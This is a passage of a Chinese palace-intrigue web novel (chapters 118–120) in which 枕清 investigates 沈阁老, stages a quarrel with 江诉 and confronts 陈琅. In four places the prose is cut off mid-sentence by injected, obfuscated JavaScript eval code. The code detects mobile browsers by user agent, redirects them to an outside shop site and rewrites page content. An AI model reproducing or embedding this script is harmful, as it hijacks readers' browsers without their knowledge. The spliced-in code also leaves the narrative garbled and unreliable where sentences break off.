马车行到罗府的府邸,阍人把枕清迎进来,罗长观这些日子一直连轴转,整个人也略显消瘦,他躺在床榻上,虽然听到了脚步声,并没有睁开眼睛,他先开了口道:“沈阁老竟也有闲情逸致来到我这里,您老是想看我的笑话吗?” 言罢,他才撩开沉重的眼皮,忽地看清来人竟是枕清,在下一瞬,他猛然望向枕清身上的香囊,他失神道:“原来是你,我还以为......” “以为我是沈阁老?”枕清接过话,将罗长观每一丝一毫的神情看进眼中,她轻笑道,“是因为这个香囊的气味吗?可是我也与沈阁老相处过,从未嗅到。” 罗长观知道枕清所来绝不是空穴来风,他挣扎坐起,双眸露出平日的锐利来,他平静道:“沈阁老自从在几年前言称生病后,再次出现在众人面前,身上确实没了这抹香味。” 几年前。 枕清自然相信罗长观所说,况且他长年混迹在各种案件之中,自然对各处细枝末节了如指掌,她沉声问:“几年前?是何时?” 罗长观咳嗽了几声,他都还没有好好休息,就被这样一番诘问,倒也没有生气,虽然心中的那口气依旧堵着,他也如实回答:“两三年前。我不怎么记他,那时候你还在陇右。” 是有这么一件事,盛松言来陇右的时候,说过一些有关朝中的事情,那时的她听得并不在意,一门心思都栽在了旁的事情上面。 她回神道:“我知道了,这段时日也忙活了许久,就在家中好好休息,至于花明,我过几日再好好找她赔礼。” 枕清一副宽慰体谅的神情,不禁让罗长观一愣,起初花明还问过他,枕清是否有没有说起旁的事情,花明虽是说旁的事情,可是那语气简直就像是在问枕清有没有提起过她,一副心思都写在了脸上。 当初枕清假死,令花明哭了好一阵,无论他这么哄,都于事无补。 罗长观心中竟有一丝暖意,冰雪消融。 他抬手作揖道:“多谢枕大人关怀。” 枕清朗朗一笑,转身又走了。她心中思绪错乱,为何香味会突然没有,究竟是因为生了一场病的缘故,还是说这个香味让他发现了又不对劲的意味。 她漫不经心地走着。 香味,梅海,枕家,薄映禾。 一下子,所有可疑的地方都像是断了连接,却又隐隐浮出水面。 枕清转身去了沈昌砥的府门,在阍人通报的瞬间,她慢慢收起腰间的香囊。 见管家十分有礼地请她进来,枕清大步踏入。这是她第一次进入沈昌砥的府邸,水榭楼台,假山鱼池,穿过回廊,里面竟是别有洞天,从外往内看,犹如天堑。 她见到一人坐在亭下,慢慢悠悠地下着棋,恍惚一眼,枕清恰似在他身上看到了另一人的影子。 “原以为沈阁老是两袖清风,没曾想这府邸内竟然暗藏玄机。”枕清缓步走前,她唇瓣弯起一抹讥俏,“我原以为我是走上来了,总觉得高处不胜寒,没曾想,沈阁老竟是从未走下来。” 这所见到的,还只是冰山一角,却也能叫枕清有望而却步的意思。 沈昌砥抬首看着枕清,听清了她话语中的讥讽,也只是一笑至之:“贵主要来下一盘棋局吗?” 枕清垂眸看着那一盘未完的棋局,她坐下来,手执白棋,落在最中间,让黑子成为一个半包围的姿势,沈昌砥诧异地瞧了下枕清,他没有说话,也跟着放了水。 他这一放水,枕清当即乘胜追击,沈昌砥跟着反杀,仿若每一步都在对方的意料之中。 她轻轻一笑,掀开眼睑,目光落在他脖颈处,别有深意道:“沈阁老似乎很怕冷。” 沈昌砥闻言,执棋的手一顿,面色淡淡道:“天寒地坼的,我年纪大了,自然更怕冷一些。” 枕清盯着他的面容,想要探寻些许不一样的东西,可沈昌砥十分平静淡然,就好像没有任何一点的破绽。 这一路上位极朝堂,她与沈昌砥碰面的次数不算少,可沈昌砥始终都是注意众人的心思,自己从不发声,偶尔被点了名字才开口说几句,只不过…… 思及此处,枕清忽地瞧了眼他,倒也不是他从不发声,而是朝堂上多得是替他出声的人。 枕清漫不经心地盯着他的脖颈处,忽然抬手朝他颈脖处探去,沈昌砥旋即后仰,避开枕清伸过来的手,枕清神色一凛,她立马伸出另一只手抓住他的披风一角,与当即起身后退的沈昌砥力量相斥,猛的将沈昌砥的披风扯了下来。 他的脖颈有不平的伤口,因为没了遮挡,立时显露了出来,倘若不仔细瞧看,叫人难以发觉。 枕清缓缓站起身来,她面无表情地拾好他的外披,步步朝沈昌砥走去,故作轻松道:“不过是见阁老的发梢落下一片雪,怎得这般警惕?” 沈昌砥眸色一暗,他淡淡笑道:“贵主与我说便是,何必故弄玄机地试探于我?” 枕清已然走到了亭外,她正要说点什么,却听到阁楼之上,有敲击声音响动。枕清循声而望,只看到茫茫白雪,以及簌簌枯枝声。 她的脚步一顿,旋即朝那个方向走去道:“我瞧着沈阁老府中不太平。”有人走前挡住了枕清道去路,她早就觉得这里边有古怪,怒喝唤出暗卫,“执一,执二,上去看看。” 两三道暗影随即涌出,速度之快,叫人辨不清。 沈昌砥面无表情地看着枕清的动作,未几,他缓缓走前,意味不明地盯着枕清道:“贵主今日是来找我的不痛快吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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枕清下意识伸手想要摸一摸香囊,她才发觉自己已经故意落在沈昌砥手中,她眉眼浮出淡淡地忧伤道:“只怕是凶多吉少。” 前段时间她曾与符生枝通过书信,原来在她去往河东的那日,薄映禾已经怀有身孕,待孩子出生后的第三个月,薄映禾才去往长安。 起初符生枝以为有了孩子就能打消薄映禾去长安的念头,其实回过头来想想,这个孩子并不是薄映禾的枷锁,而是符生枝的束缚与枷锁。 薄映禾瞒住所有人,暗自行动,待他们完全回过味来,已经是在许久之后。枕清在承天门的最后一声钟鼓后进入皇宫的大殿之内。 许久以来,薄映禾从未出现过,也没有来找过枕清,俨然是被人困住了,抑或是已经死了。 枕清心中的念头开始蹦出来,明明知道已经是一场死局,可是她还是心存侥幸。 直到翌日一早,有人破了枕清仅存的一丝侥幸,枕清派去的侍卫告诉她,薄小娘子死了,尸体是在江诉府邸门前被发现的。 118. 山高水远浪天涯(五) 江诉府邸。 江诉听到这件事的时候,他下意识先看向枕清,枕清翻开劄子的一顿,看向那极其明显的目光,她神情涣散,嘴角勉强提起笑意,道:“我信你,我知道不是你做的。现在鲜少有人知道你回来了,避过这个风头,再出来吧。” 这时人不在,没有任何证据,也只能说是有人买凶杀人随便丢在一个地方,而这个地方恰好是江诉的府邸,而江诉已有好几年未曾回到长安。 可即便如此,这终究不是好地方,如果不是因为他与枕清的关系甚好,或许真的会产生一点间隙。 “你想怎么做?”江诉坐在枕清旁边,他一直都待在枕清的宫殿之中,殿内都是枕清的人手,对于江诉的存在即使心知肚明,也是闭口不言。 枕清忽而看向外面的天色,眼睛一点点浸满了泪水,可是她没有落泪,只是平淡地压低声道:“江诉,那个人大抵是想离间我们之间的关系,那么我们就如他所愿。” 江诉清楚枕清心中已经有人想法,他的目光极慢地在她面上停留,只见枕清缓缓道:“起初我觉得背后的人是为了替枕家报仇,可是阿姐死了,打消了我这样的念头,她死后,下一个人就会是我。”可是枕清一点都不惧怕,反而朝江诉宽慰一笑,“我这个毒,也是他下的,我不知道是不是沈阁老,因为我和他似乎没有任何交集,而背后那个人的那步棋又走得太早,即便如此,但沈昌砥绝不无辜。” 江诉脑海中的思绪模糊成了一片,转瞬清明了起来,他缓缓看向枕清,不知道应该作何反应,他问道:“你怎么知道是沈阁老,你闻到了他身上也携带一股香味?” “是啊。”枕清抬起眼睛逼视江诉道,“江诉,你是不是早就知道了,你为什么不告诉我。” 江诉后知后觉,呼吸轻轻一滞,他声音仿若卡在喉咙之中,不知道该说点什么,可是无论怎么说都像是诡辩,他还是想在尝试一下,挣扎道:“如果我说我在朝堂之中,从未在沈阁老身上闻到与你身上一模一样的香味呢?枕清,你信我吗?” 他目光坚定中带着隐隐的渴求,好似有温度,那温度给了她极大的鼓舞与安定,只不过…… 这香味绝非一朝一夕的,枕清嘲讽地轻笑一声,旋即高声怒道:“江诉,你在把我当成傻子吗?你在朝中打了这么多年交道,你与我说你从未闻到过,可为什么我带着香囊,一到罗长观的府邸他当即就知道?难不成你觉得罗长观能未卜先知欺骗我不成?方才你说出香味的那一刻,我分明什么都没有说明白,为何你就能猜得出来?这一桩桩一件件,你叫我如何信你!” 江诉听到如此疾言厉色的声音,字字诛心,句句入骨。 他唇瓣微微颤着,他不可置信地看着转变如此之快的枕清,他恍恍惚惚站起身来,想要说些什么,却又被枕清一声声的质问压了回去。 “江诉,你分明就是在骗我,从一开始你就知道一切,你也对我隐瞒了所有。”枕清眼神淬了寒霜,恶寒道,“他们没有回来之前,你哪里也不能去。” 江诉望见这样一双凌厉的神情,他深深感受到酸涩在心中蔓延,苦笑一声,仿若有无数虫蚁咬噬着他,痛不欲生,鲜血淋漓。 原本温柔清润的嗓音浸满苦涩与无奈,他一字一顿道:“你这是在囚.禁我?” 枕清凝眉,面无表情地看他一眼,随后离开大殿的脚步一顿,终是回答了他:“是,在这个皇宫之中,所有人只能听我的。” 江诉浅浅一笑,隐去所有的伤情,便归于平静,露出强硬,与之遥遥相望,他的嗓音极具清冷:“枕清,你别忘了我手中还有兵符,河东道的云行野与齐离弦也快回来了,你当真要做到如此地步?你现如今能在这个位置上坐得稳,那么日后呢,你能保证吗?” 这样直击人心的威逼利诱,旁人听得清楚明白,枕清更能察觉得到,她面容浮起怒意,随后转而轻笑一声。 众人看着枕清如此模样,当即退出大殿之外,枕清站在殿门中间,她回首看向江诉,所有的怒意、防备一扫而空。 方才被江诉的状态不禁吓得顿愕,唯恐他当真入戏太深,枕清在只有江诉能看到的地方俏皮地眨了眨眼睛,声音却是与面上神情不一,语气格外凌冽:“你这是在威胁我吗?可我向来不惧怕任何人的威胁。” 说完,她好像还是不放心,走了回去。枕清那双漂亮幽深的眼睛凝视着江诉,仿佛是世上最狡黠的狐狸,此时得到了她的猎物。 她缓缓微笑,温柔俯身,贴耳同他说:“别怕,我是爱你的。” 江诉僵硬身子,稍稍侧头,眼角的余光的看向身旁的人,轻轻勾唇:“我也爱你。” 枕清见状,忍不住憋笑,好在没有人能看到他们两人的神情。 江诉只见枕清再次走远,他也跟着飙戏道:“倘若你敢踏出这殿门一步,我此生此世,绝不会放过你。” “好啊,那我就等着你的不放过。”枕清挑衅扬眉,右手背于身后,转身的那一刻,伸出五指做了一个挥手状。 只有江诉一人看得到。 殿门被重重关上,将所有的光彩都隔绝了,江诉看着自己仿若被打入冷宫的模样,不禁微微叹息一声。 殿门外的人都知道枕清与江诉吵了架,仿若势不两立。 身旁的大监赶紧凑上来,生怕惹到枕清的不快,她冷冷地视线扫过躬身走来的大监,她睨着他道:“不许放任何人进来,也不许放任何人出去。” 大监将头垂得更低,颔首道:“是,不过这里边是大将军,手底下还有那么多兵,恐怕不好说啊。” “好不好说都有我来担着,你怕什么?”枕清静静地看着周围大气都不敢出的人,就知道这场戏装对了。 宫内人多眼杂的,实在是不好商量对策,好在江诉聪明,知道立马接话,就看鱼儿什么时候上钩了。 她这几天做好冷战的角色,一直忙到凌晨深夜,先是将薄映禾的死交由罗长观来查,罗长观却说这件事极其难说。因为这个人不是旁人所杀,而是自己自刎而死。 枕清疑惑道:“自刎?” 花明站在罗长观身旁,她原本一直望着枕清那张面容,突然讲到了专业领域上面,她旋即开口道:“没错。我们在她身上没有看到任何其他的伤口,更没有什么内力使其经脉断裂,而脖子上的痕迹由深至浅,旁人的动作划不出这样的伤口,所以是自刎。” 一别经年,花明长得更为出挑,言行举止落落大方,与当初的模样已是两般。枕清只是欣赏地瞧了一眼,没再多思,总觉得这样的结果极其荒谬,她不信薄映禾会心甘情愿地赴死,其中一定有旁人所不知道的原因。 可是她依旧不能接受,而是问向罗长观道:“所以,你的意思是她自杀么?” “是。”罗长观清楚枕清是有多在乎这个人的,一踏入长安就开始寻找薄映禾,找了近乎一年的时间,最后只寻到一具自杀的死尸,任谁都不能接受,可是结果就是如此,无论如何都无法改变。 花明抿了抿唇,正想要接话,却见枕清抬手,只留下罗长观一个人,花明漂亮的眸子微微一顿,掩饰失落后,跟随着众人一齐退出大殿之外。 罗长观回头看向花明落寞的神情,他心中跟着一痛,他唇瓣崩成一条直线道:“无论贵主信与不信,都是这样的结果,倘若贵主真的不满意,那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037226|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我一个可疑的人选,我定当万死不辞。” “万死不辞。”枕清无声勾唇,“没了太后殿下,你可以不是酷吏,不是皇权路上的走狗,不过,你既然走过这条路,自然有不少人会一直盯着你,更不会轻而易举地放过你。但是,我可以帮你。” 最后一句话,罗长观就知道枕清这又是与他做生意了。 这一次只会牵扯到更多更大。 “贵主请说。”罗长观道。 不知道是不是有一点错觉,总觉得罗长观被花明养的,生起来那么一点人情味来,倒也不是不好,只是罗长观的软肋太过明显。 她开口道:“当初你与我换花明的命,是因为料定她日后会女扮男装入大理寺吗?” 罗长观道:“是。” 枕清说:“你的软肋太明显了。” 罗长观回:“我知道,但心之所向,就算我不开口,眼睛还是不由自主地流露出来,上一世做到那般地步依旧没落着好,今生倒不如痛快些,我也会用我的全部来保护她。” 枕清闻言,看向外面焦灼的影子踟蹰踱步,她笑着道:“你让她进来吧,看这模样,着急了。” 确实如此,他也跟着无奈笑笑,既然枕清都不避讳着他,自然更不会避讳花明,于是打开殿门,伸出手唤她进来。 花明眼神一亮,她走进来先看向枕清,却见枕清正色道:“薄小娘子是陇右大都督的妻子,断不可能妄下定义。这一件事,我要你们细查,无论是不是自刎,我都要找出抛尸之人,既然你们没有头绪,那就先从沈阁老身上查起。” 这么一说,罗长观想到那日,枕清见他生病来看望的那日,他说了一句沈阁老,然后枕清开始注意沈昌砥的动向,是因为在那日发现了什么吗? 枕清留意到罗长观的目光,她开口解释:“我怀疑他与枕家有关,那日我去了沈阁老的府邸,让暗卫替我查看,没有发现什么,或许是有,只是我的人进不去。但在后一日,薄小娘子的尸体就出现在了江诉的府门前,令我很难不怀疑沈府。” 罗长观心思错杂,稍皱眉道:“可是我们没有完全实质性的证据,无法真的去沈阁老的府邸内搜查。”直到枕清冷冷的视线探过来,罗长观想到第一次去禹王府邸中,也没有特别的实质性证据,当即被噎了一下。 花明几乎没有看到过这样的罗长观,她眉梢含笑地望着他,颇有落井下石的意味:“当初来找沿溪的时候,你可不是这么说的,这么多年,倒真是成熟了几分,还是说不敢得罪沈阁老啊?” 既然做得了酷吏,自然没有不敢得罪一说。她们两人要挖苦他的意思非常明显。 枕清开始做一个表面好人,施施然道:“罗大理寺卿一定能想到办法的,再不济,从香味入手,我曾今在沈昌砥的府中落下一个香囊,那上面不仅有香味,还有我抹上了荧光粉,在白日看不出名堂,但是到了夜间,那荧光粉如同灯盏明亮的萤火。” 原来枕清居然留下这么多东西。人可以证明自己做过一件事情,但是极难证明自己没有做过一件事情,这话里话外,都像是要拉沈昌砥下马。 恰似知道罗长观所想,枕清打断他的想法道:“虽然我所怀疑,但也不是叫你故意给人定罪,至于其他的幕后黑手,我自己会去一个个解决。” 三人又重新商量了一番对策,枕清重新看向花明,她笑着说:“对不起,当日我也不是有意要骗你们的。” 花明心下暖暖,虽然觉得她们几人都不似当初,可感情从未有过半分变化,她摇头道:“没事,我都知道的,只要你还活着,比什么都好。” 是了,在生者面前,活着比什么都好。 119. 山高水远浪天涯(六) 今年的冬季好似极为漫长,仿佛又回到了上一世一般。 枕清已经好几日不曾去见江诉,一旁的大监终究是顾全大局的人,他心下不禁担忧了起来,当下的江诉可谓是位高权重,如果他要是与旁人一样顺着杆往上爬,那么坐上为首的位置或许不会是她枕清,也不会是裴家。 他心思在脑中活络,讪讪开口道:“贵主好些日子没有回去了,有话亦可好好说一说,江将军绝不是不听劝之人。” 枕清哪里会不知道着太监的心思,她眼中一冷,尽是嘲讽:“他不是不听劝的人,那么你这在说我不听劝了?”她见太监诚惶诚恐地跪下,也只扫了一眼他,当即站起来,理了理自己的衣袖,仿若谈论天气一般,“也好,那就去看看,究竟是我的手段硬,还是他的骨头硬。” 大监方才大气都不敢喘一下,知道听到离开殿门外的声音,他在慢慢悠悠地站起身,看了看雄伟精致的殿顶,拍了拍自己头疼的脑袋,他当即想怒喊老天爷,这都是什么事啊。 他期期艾艾的神情落在旁人的目光之中,不少人默默给他点燃了一炷香。 枕清没有理会这群人转变弯弯绕绕的心思,她推门进入大殿的时候,江诉只是瞧了她一眼,看到她身后还跟着一大群人,脸上并没有什么特别的表情。 大监仍旧是不放心地补充一句道:“门下省的圣旨已经批下来了,而且云将军等人即将到长安,贵主今日说话可要悠着点。” 三番两次的提醒,枕清脑子都要听晕了,她眸光落在他身上,形成一股无形的压迫。倘若今日要是没抗下这道如同刀子的眼神,日后插进他体内就不是令他冷寒的目光,而是真正的刀刃。 孰轻孰重,他还是分得清。 况且这么久以来,枕清的脾性虽然叫人捉摸不定,可终究是没有做什么出格的事情,想必也能瞧得出那么一两分的通情,大监舔着脸笑道:“贵主,忍这一晚,一切都好说。” 他说完这一句,转身躲开枕清递过来的眼神,抬手挥了挥打算跟进来的众人,将门关的严严实实。 枕清看着江诉,她慢慢走过去。 江诉并没有动作,知道外边还有许多在听着动静的人,他轻笑道:“贵主这是想清楚了?” 枕清颔首道:“想清楚了。” 这座殿堂极大,发出的声音极其空旷。不过只要关上门,再小声说话,那么殿门外的人也未必听得到。 江诉笑着道:“你的心可真狠,竟然真的把我一人放在这里好几日,也不来看望一眼。” “你可真是粘人。”枕清环住江诉的脖子,心中更是思绪万千,好像所有的情绪都被堵着了,她找不到源头,也看不清原因。 看出枕清的不对劲,江诉问:“怎么了?” 枕清将整个人都埋在江诉的脖颈处,嗅着他身上淡淡的清香,令她无比安心。她没有回答江诉,只是说了旁的:“你换香了。” 知道枕清不想回答,江诉也没有过分追问,他感受枕清在自己的脖颈、锁骨落下密密麻麻的吻,他将人轻轻拥入怀中道:“早就换了,知道你闻不得那样的香味后,我就换了。” 说到香味,上回他们在旁人面前假装吵架,好似只是知道枕清是信任自己的,可是旁的事情,并没有完全的坦言明了,他正想要说话,枕清却像是知道他的想法一般,她身体微微颤抖,急声阻止道:“别说!江诉,你什么都别说,让我完完全全地信任你。” 枕清,你为什么这么害怕,是因为陈琅么? 江诉神色晦暗不明,喉间微微哽咽,他知道枕清极为难受,他抬手抚摸枕清的背脊,一点又一点,一瞬又一瞬,如同在摸一直炸毛的猫咪,可枕清不是猫,她是江诉最珍重、最喜欢的人。 没有见面的这几日,枕清已经摸清楚不少动向,她开口说:“我这里果真是有奸细,当初我让门下省早日将册封的旨意拟好,却迟迟没有推上进度,前几日我与你大吵了一架,他们的动作一下子变得了,方才身旁的大监说旨意已经拟好。” 江诉闷笑一声,打趣道:“这不就达到了你想要的目的?” 当时,枕清的确是有这样的想法,迷惑所有人的目光与视线,可是她当下真的有些累了,身边的人一个一个的都走了,她却还在朝堂前游荡,不知道哪一个人是幕后真凶。 “你觉得是谁呢?江诉。”枕清唇瓣贴在江诉的耳垂,整个人都倚靠在江诉身上,江诉借着这股势力,轻而地倒在床上。 枕清整个人也跟着江诉一同倒下,在最后一刻,江诉稳稳用手接住了枕清,枕清只是轻轻笑了一瞬,神情又忍不住升起哀伤来,她整个人仰躺着望着天花板,仿若又麻又木,“是沈阁老,还是秋迹,抑或是陈琅?” “你很痛苦。”江诉肯定道。 “我很痛苦。”枕清道。 许久后,两人都没有在说任何话,突然有一道声音给自己判下了死罪,那道声音再说—— 一遍遍的试探,一遍遍的质问,明明错漏百出,明明早有定论,可为什么还是没有给他判下死罪呢?枕清,你是不是心软了。 面对少时的朋友,枕清的确是心软了。 枕清忽而看向江诉,她不知道自己该如何说,这样一副神情,就好像是在为陈琅伤心,可她也确实因为他而伤心。 可究其最终原因,还是她自己。 枕清朝江诉解释道:“江诉,我不仅仅是因为陈琅背刺我而难过,更多的是,我害怕。我总觉得我与陈琅是极其相近的人,可事到如今,我觉得我与他一点也不一样。” 江诉嗯声道:“你们一点也不一样。” 枕清又说:“我对他没有任何一点超出男女之间的情谊,从小我就把他当作我的哥哥看待,长大后就当成选择另一种生活方式的我自己,可直到今日,我才发觉我错了。我打算,要做个了断。” 说完这句话,枕清眼中是前所未有的坚定,就好像是视死如归的将士,可江诉却是轻轻笑着,明白枕清这是怕自己多想,而给出的解释。 江诉凑身将枕清抱在怀里,他说:“我相信你,就像你完完全全地相信我一样相信你。我没有怀疑你与陈琅的感情,倘若你真的喜欢陈琅,或许从第一天,不,应该是在上一世起,我就没有任何靠近你的机会。”江诉吻上枕清的唇瓣,“你的爱很好,因为你爱上一个人,便只能看见那个人,我很幸运,也很庆幸,你爱上的人是我。” 枕清绝非一定要去挑选什么,只要是她看上的人,即使是千万金她都要买,倘若她看不上的人,哪怕对方是天王老子,她也依旧会甩出一声不要。 因为她永远都是她,她要选择的是唯一,既做出选择而不后悔,即使错误,也坦然处之,心胸广阔,不拘泥于一件事上,也可以在情爱这一件事上,给足他安全感。 枕清看着外头渐渐黑了的幕色,她依依不舍道:“做戏要做全套,我得走了。” 江诉不会在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兴许是这群人觉得她攀上了宁千渝这样的高枝,她骄傲地抬首,半真半假道:“各位妹妹倒也不必担忧,宁昭仪还是很好说话的。” 宁千渝在背后听着一切,她冷声质问道:“我都不曾见过你,又是如何与你谈论起枕贵主这些事的?私下妄自议论贵主,按照宫规,拖下去,杖毙。” 那侍女顿时慌了,她当即跪了下来,害怕地哭着道:“宁昭仪,求您饶了我,我也是听别人说的,并不是有意去谈及贵主的!” 宁千渝慢悠悠问道:“听别人说的,那个人是谁?” 侍女支支吾吾地半晌没有说出来,宁千渝就知道她在说谎,吩咐底下的人道:“拖下去,杖毙。” 这一惯的雷厉风行,不知道是学了谁,不禁让所有人都颤了颤,更加畏惧。 宁千渝安静地等在门口,只听大殿内的江诉冷声道:“今日这一遭,我也没见枕贵主对我客气到哪里去?” 两人的争吵真是越发激烈,俨然到了水火不相容的地步。 枕清仿若被气着了,推门出了大殿,她冷冷下令道:“没有我的允许,不许放任何人进去,也不许放他出来!” 宁千渝颔首,跟在枕清身后。不知道枕清怎会与江诉吵得这般凶,直到离开大殿,枕清的脚步逐渐轻松,面容也趋向于平和,宁千渝才恍然知晓,这是他们两人在做戏。 对所有人做的一场戏。 120. 山高水远浪天涯(七) 如此一想,宁千渝的脚步也不由跟着轻了些许,她开始讲起方才在大殿之外的情形,原以为枕清会有些许动容,抑或是问起怎么不留着活口把背后之人问出来。 可是枕清没有,她不需要她说,也会知道那个侍女只是一个被推出来的靶子。宁千渝嘴角轻轻一勾,所有的担忧都开始烟消云散,她还没开口,却听枕清道:“我相信你。” 宁千渝呼吸一滞,她看着枕清已经朝前走去的身影,恍然发觉,自己好像真的成为一个对枕清有用的人,她大步走前,追上枕清的脚步,又缓缓落在距离她一步远的位置。 这段时间的宁千渝极为忙碌,大大小小的事情都要经过她的手,就好像是从前太后殿下交予枕清的,枕清毫无保留地交予给她。 还记得枕清让她去查陈琅,是从天师这个身份查起。 原本毫无头绪,直到有人说起这位天师与沈阁老极其要好。 于是找到了朝中的施祝施御史,施祝与商震、北肆野极其要好,但是鲜少人知道,因此也有机会留在长安,在云嘉颂的眼皮子底下一步步攀登上来。 枕清走到宣政殿的偏殿,施祝远远就站在大殿门前,枕清走近颔首道:“施御史。” 施祝拱手行礼道:“枕贵主,这边请。” 这话说得有意思,一下子被施祝反客为主了。枕清勾唇一笑,施祝原是官居五品,她一上位,直接升了两品,将秋迹气得脸红脖子粗,施祝则是笑得脸都烂了,甚至特别得意的在秋迹面前晃荡了两圈,恶狠狠骂道:“穷大醋!” 不过这些事都是在下了朝之后,枕清并没有见到,所以施祝一直正襟危坐,面色如常,俨然一副老成模样,道:“一年前,秋迹曾与沈昌砥商量过河东盐池,我发觉秋迹事事都要过问那沈老,而那谈论的口气,简直就像是河东盐池是沈昌砥的囊中之物,不过我听人说,这皇商也是沈昌砥经手的。” 这件事,枕清在盛松言那里也有所耳闻。 枕清听罢,轻笑一声,她觉得好像是有了一点出口,而所有的一切都有迹可寻。 在这个世上,本就没有不透风的墙。 枕清漫不经心听着施祝说着朝中的大小事情,最后谈及到商震与北肆野,令施祝不免一阵唏嘘,他这才想到枕清与他们的关系,实在是不好太过怀念。 施祝宽慰道:“贵主也不必太过伤心难过,将军死在战场上总好过死在朝堂之中。”他呵呵一笑道,“这朝中就算他们回来了,也是乌烟瘴气。那群老东西一边害怕年轻人比自己厉害而上去,又嫌弃下位者没大才能帮衬不到自己。” 这一次,枕清站在朝堂的漩涡中心,被不少人视为眼中钉,她与郁华隐推举一个,就被驳回一个,她好像想到了当初易为之所说的,不是他无能,而是他们不让他有用武之地。 因为真的那样做,就破坏了他们的利益,于是只好拼命地施压,不让人得到一分好来。 枕清默默想着,她淡淡笑道:“多谢施御史,我已是了解。” 待人走后,枕清依旧坐在原来的位置上,她没有说话,也没有动,就好像是僵住了。 宁千渝不知道枕清在想什么,却又害怕她这样的状态,宁千渝极轻地呼吸,问枕清道:“贵主,你是不是从一开始就知道我不会死。你好像总是能未卜先知。” 枕清回神,她摇头失笑道:“我不知道,我只是让义宁替你医治,最后放过你的人依旧是太后殿下。” 她哪有未卜先知那么厉害,如果真的能未卜先知的话,她或许可以让自己身边的人都活下来。 - 枕清找上陈琅的那一日,是艳阳高照的一日。 不过是在冬日,即便太阳再大,照到身上也难以感受到暖。 陈琅看着枕清,神情极为平静,就好像知道会有这么一天,也一直等着这么一天,只是没有料到,这一日来得如此之快。 枕清抬手点燃一支熟悉的香,她慢慢见那青烟升起,又看外边的日头将影子斜进来,青蓝色的光落入眼睛,周围的一切都是如此萧索,她眼神微微一动,好像有些疑惑,又像是释然。 “你在想什么?”陈琅顺着枕清的目光探去,发现一切如常,什么都没有看到。 想什么呢? 枕清敛回目光,她的视线落在陈琅的脸上,淡淡说:“在想我们第一次见面,也是在这样的冬日。” 陈琅好像知道枕清在看什么了,他接话道:“是在冬日,那时候你快死了。”这个话题忽而有些沉重,那段时间其实并不美好,他默了默,并太想回忆,转了话锋说,“不过我记得你最喜欢春天,你说你喜欢百花齐放,万物复苏的景色,一切都是那么的生机盎然。” 即使转了话题,枕清依旧固执地拉回来,她道:“那时候的我的的确确快要死了,是你救了我。陈琅,是你救了我。” 陈琅的呼吸极慢,不知道为什么,他总觉得眼皮发烫,就好像是想要落泪的冲动,可是他眼眶又极其干涩,只好感受那一抹滚烫来回跳动,提醒着他彼时的难受。 “梅海、你、沈昌砥,还有秋迹,究竟是什么关系?”枕清面露痛苦,她甚至等不及听陈琅的回答,字字刺入心底般道,“你背后之人压根不是已经死去的梅海对不对,从始至终都只是沈昌砥一人,而梅海只是你与沈昌砥的靶子!” 彼时的枕清已经无法冷静,她猩红着眼,手用力抵在桌案上,情绪已经达到了某一个顶峰,陈琅见状,惊讶了一瞬,他当即握住枕清强撑的手腕上。 可枕清在他碰上自己的那一刻,避如蛇蝎,当即甩开他的手,怒声道:“怪不得梅海会将你提携为二当家,怪不得你久居长安他也能放心把梅家产业都交与你,怪不得你得知梅海身死的那一刻你一点也不难过,其实是因为你从未见过他!” 她摇摇晃晃地站起身,拼命地压下自己的情绪,她红着眼睨看陈琅,“陈无极,你不知道,我成亲那日,梅海曾来过我这,他参与了这场喜事,可我去河东的时候,你的神情在告诉我,你不知道我还活着。” 话已至此,他们好像已经没有了回头路。 枕清冷漠地看着陈琅失魂落魄的模样,她转身从一旁拿起利剑,她没有看向陈琅,只是把锋利的剑尖拖在地上,发出刺耳的响声。 陈琅见此,方才被枕清推开而一直未能放下的手悄然落下,他的面上没有一点惧怕与惊慌,反而有一种前所未有的释然,他勾了勾唇瓣,漂亮的桃花眼依旧弯着,就好像一点都没有发现自己身处何样的处境。 一如当年。 这般模样,深深刺痛了枕清,枕清觉得太可笑了,这一切都太可笑了! 为什么她要那么地痛苦,而陈琅在一旁看着她失控的怒意而浅浅微笑。她疾言厉色地质问道:“你害死我师父,害死了北叔父,还害死了李檄!接下来你还想要害死谁?是我吗?陈无极,我究竟与你有何仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056223|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨,竟让你如此对我?” 她把剑重重地放在两人之间的桌案上,看着他道:“如果你恨我,那我给你机会,让你把我的命夺回去。” 这一声,令他第一次乱了方寸。 